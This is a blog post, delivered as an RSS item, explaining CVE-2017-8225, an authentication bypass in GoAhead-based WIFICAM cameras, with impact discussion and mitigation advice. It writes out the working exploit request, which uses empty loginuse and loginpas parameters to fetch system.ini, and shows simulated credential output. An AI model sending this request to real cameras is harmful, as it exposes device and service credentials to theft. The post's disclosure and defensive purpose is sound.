            <link>https://k3ystr0k3r.medium.com/cve-2017-8225-authentication-bypass-and-credential-exposure-in-goahead-based-wifi-cameras-0e5eeab90ba7?source=rss-a836b8283aab------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e5eeab90ba7</guid>
            <dc:creator><![CDATA[Jared Brits]]></dc:creator>
            <pubDate>Fri, 26 Jun 2026 21:43:19 GMT</pubDate>
            <atom:updated>2026-11-05T14:58:05.175Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By K3ysTr0K3R</strong></p><p>IP cameras are supposed to keep an eye on things. They shouldn’t be handing out their own credentials to anyone who knows which URL to request.</p><p>Yet that’s exactly what happens with <strong>CVE-2017–8225</strong>.</p><p>The vulnerability affects Wireless IP Camera (P2P) WIFICAM devices running a custom HTTP server based on GoAhead. An authentication bypass allows unauthenticated attackers to retrieve sensitive .ini configuration files by sending empty loginuse and loginpas parameters in the request URI.</p><p>Those files can contain usernames, passwords, FTP credentials, SMTP credentials, and other device settings.</p><p>No valid login required.</p><p>The NVD assigns this vulnerability a <strong>CVSS score of 9.8 (CRITICAL)</strong>.</p><p>Let’s look at the actual problem.</p><h3>The vulnerability: Authentication bypass</h3><p>The camera’s HTTP server uses two authentication parameters:</p><ul><li>loginuse</li><li>loginpas</li></ul><p>These parameters are expected to provide authentication when accessing protected resources.</p><p>The problem is that the server doesn’t properly enforce those checks when handling requests for sensitive .ini files.</p><p>An attacker can send both parameters with empty values and retrieve configuration data without supplying valid credentials.</p><p>Here’s what that means: the authentication mechanism is there, but the server fails to enforce it where it matters.</p><p>A protected configuration file becomes accessible without logging in.</p><h3>What information is exposed?</h3><p>The .ini files aren&#39;t just random configuration data. Depending on the firmware and device configuration, they can contain sensitive information such as:</p><ul><li>Camera usernames and passwords.</li><li>FTP login credentials.</li><li>SMTP credentials.</li><li>Device configuration settings.</li><li>Other stored service information.</li></ul><p>If an administrator has configured external services using credentials stored on the device, exposing those credentials can put those services at risk too.</p><p>One publicly accessible configuration file can reveal more than the camera’s login details.</p><h3>Reproducing the vulnerability in a local lab</h3><p>I don’t have the physical camera available, so I recreated the vulnerable authentication behavior in a local simulation using the published research as a reference.</p><p>The goal was to demonstrate how the server handles a request when both authentication parameters are empty.</p><p>A properly protected endpoint should reject the request.</p><p>The vulnerable behavior allows the request to proceed and returns the configuration data.</p><p>Here’s the request pattern:</p><pre>GET /system.ini?loginuse=&amp;loginpas= HTTP/1.1<br>Host: target</pre><p>The local simulation returns example configuration data:</p><pre>username=admin<br>password=a77777</pre><p>These are demonstration values generated by my local simulation. They were not retrieved from a physical camera.</p><p>Look at what’s happening here. The request contains no valid username or password, yet the simulated vulnerable endpoint returns information that should require authentication.</p><p>That’s the security flaw.</p><p>Here is the proof of concept.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*H0Uk-VVpMANUkH0p9ITDTQ.png" /><figcaption>The exploit in action.</figcaption></figure><h3>Why this matters</h3><p>A compromised IP camera can create problems beyond someone gaining access to its video feed.</p><p>These devices sit on networks alongside computers, storage systems, printers, and other internal services.</p><p>Exposed credentials can give an attacker additional opportunities to access systems or services, particularly when passwords are reused.</p><p>There’s also the issue of manufacturers reusing the same camera software.</p><p>The original disclosure covers a family of WIFICAM products. Different manufacturers can sell cameras built around similar software, meaning the same security flaw may appear across products from multiple vendors.</p><p>You might buy a camera under one brand without knowing much about the software running behind its web interface.</p><p>That’s worth paying attention to.</p><h3>Mitigation</h3><p>If you’re responsible for one of these devices, here’s what I’d recommend:</p><ol><li><strong>Update the firmware.</strong> Check with the manufacturer for a security update addressing the authentication bypass.</li><li><strong>Replace unsupported cameras.</strong> If the manufacturer no longer provides security updates, replacing the device is the safer option.</li><li><strong>Remove unnecessary internet access.</strong> Disable port forwarding and avoid exposing camera management interfaces directly to the internet.</li><li><strong>Change stored credentials.</strong> Rotate camera, FTP, SMTP, and other credentials that may have been exposed.</li><li><strong>Isolate IoT devices.</strong> Place cameras on a separate network and restrict their access to internal systems.</li><li><strong>Review exposed services.</strong> Check which camera interfaces are reachable externally and close anything that doesn’t need to be accessible.</li></ol><p>Don’t assume an old camera is safe just because it still works.</p><h3>Conclusion</h3><p>An attacker doesn’t need valid credentials to request sensitive configuration files. Empty authentication parameters are enough to trigger the vulnerable behavior.</p><p>What bothers me about vulnerabilities like this is how easily they can go unnoticed. Someone installs a camera, connects it to the network, and forgets about it. The device keeps running for years, sometimes with firmware that never receives another update.</p><p>Meanwhile, its management interface may still be accessible from the internet.</p><p><strong>If your authentication check accepts an empty login, you don’t have much of an authentication check.</strong></p><p>A login page is useless if the server doesn’t protect the resources behind it.</p><p>And that’s exactly what happened here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*T5ogn9m78isUD1rihTA5Nw.avif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e5eeab90ba7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>